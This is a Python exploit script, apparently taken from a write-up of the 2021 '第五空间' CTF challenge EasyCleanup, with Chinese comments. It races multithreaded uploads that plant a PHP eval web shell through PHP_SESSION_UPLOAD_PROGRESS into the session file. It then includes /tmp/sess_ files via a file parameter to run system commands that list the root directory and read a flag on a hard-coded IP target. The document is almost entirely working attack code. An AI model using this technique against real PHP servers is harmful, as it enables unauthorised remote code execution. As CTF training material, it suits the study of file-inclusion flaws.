// 脚本来源:[第五空间 2021]EasyCleanup_WP // 脚本: import io import requests import threading # 多线程 from cffi.backend_ctypes import xrange sessid = '0' target = 'http://1.14.71.254:28592/' file = 'ph0ebus.txt' # 上传文件名 f = io.BytesIO(b'a' * 1024 * 50) # 文件内容,插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长 def write(session): while True: session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'}, files={'file': (file, f)}, cookies={'PHPSESSID': sessid}) def read(session): while True: resp = session.post( f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');") if file in resp.text: print(resp.text) event.clear() else: print("[+]retry") # print(resp.text) if __name__ == "__main__": event = threading.Event() with requests.session() as session: for i in xrange(1, 30): # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好 threading.Thread(target=write, args=(session,)).start() # target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;args:在参数target中传入的可调用对象的参数元组,默认为空元组() for i in xrange(1, 30): threading.Thread(target=read, args=(session,)).start() event.set()